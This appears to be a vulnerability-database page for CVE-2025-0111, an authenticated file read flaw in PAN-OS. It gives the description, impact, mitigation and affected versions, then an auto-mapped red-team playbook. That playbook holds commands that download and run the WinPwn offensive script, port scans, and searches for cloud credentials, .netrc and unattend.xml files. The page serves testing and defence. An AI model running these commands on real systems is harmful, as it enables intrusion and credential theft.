CVE-2025-0111
Overview
This vulnerability is an authenticated file read flaw in Palo Alto Networks PAN-OS software, specifically affecting the management web interface component. The root cause lies in improper access control allowing an authenticated user with network access to read arbitrary files on the PAN-OS filesystem that are accessible by the "nobody" user. The flaw arises from insufficient restrictions on file read operations within the management interface's authentication context.
Vulnerability Description
An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user. You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue does not affect Cloud NGFW or Prisma Access software.
Impact
An attacker with valid credentials and network access to the management web interface can read sensitive files on the PAN-OS device that are accessible by the "nobody" user. This can expose configuration files or other sensitive information, potentially aiding further attacks or reconnaissance. The prerequisite is possession of a low-privileged authenticated account with network access to the management interface. The exposure of internal filesystem data can lead to information disclosure and compromise of device confidentiality within enterprise environments.
Solution
Palo Alto Networks recommends restricting access to the management web interface to trusted internal IP addresses as per their deployment best practices detailed at https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431. For detailed patch information and updates, refer to the vendor advisory at https://security.paloaltonetworks.com/CVE-2025-0111. Applying the latest PAN-OS updates that address this issue is advised to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An authenticated file read vulnerability in Palo Alto Networks' PAN-OS software presents a significant risk to organizations relying on this firewall and security platform. This flaw allows an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are accessible by the “nobody” user. The implications of this vulnerability are particularly concerning, as it could enable attackers to gain sensitive information stored in configuration files or logs, potentially leading to further exploitation of the system or lateral movement within the network.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have legitimate access to the management interface, could leverage this flaw to enumerate files and extract sensitive data. Scenarios may involve an insider threat, where a disgruntled employee or a compromised account is used to access the management interface. Additionally, if an attacker can obtain valid credentials through phishing or other means, they could exploit this vulnerability to escalate their access within the network. The ability to read files could provide insights into the network's architecture, security policies, and other critical elements that could facilitate more severe attacks.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely heavily on Palo Alto Networks' solutions for their cybersecurity posture. The potential for data exfiltration, unauthorized access to sensitive information, and the subsequent compromise of other systems poses a significant business risk. Organizations may face regulatory repercussions, reputational damage, and financial losses due to breaches stemming from this vulnerability. Furthermore, the ability to read configuration files could allow attackers to identify weaknesses in security controls, making it easier to launch more sophisticated attacks against the organization.
To mitigate the risks associated with this vulnerability, organizations should implement several detection and mitigation strategies. First and foremost, restricting access to the management web interface to only trusted internal IP addresses is crucial. This approach limits exposure to potential attackers and reduces the likelihood of unauthorized access. Regularly auditing user accounts and access permissions can help identify and remediate any unnecessary privileges. Additionally, organizations should monitor logs for unusual access patterns or file read activities that could indicate exploitation attempts. Employing network segmentation can further isolate critical systems, minimizing the impact of any potential breach.
In conclusion, the authenticated file read vulnerability in PAN-OS represents a notable threat to organizations utilizing this security platform. The ability for an authenticated attacker to read sensitive files can lead to significant security breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate risks effectively. Implementing best practices for access control and continuous monitoring will be essential in safeguarding against exploitation of this and similar vulnerabilities in the future.
Affected Products (48)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h8:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:-:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h1:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h12:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h16:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h18:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h19:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h21:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h3:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h6:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h8:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-0111 |
| security.paloaltonetworks.com |
GitHub CVE
vendor-advisory
|
https://security.paloaltonetworks.com/CVE-2025-0111 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-0111 |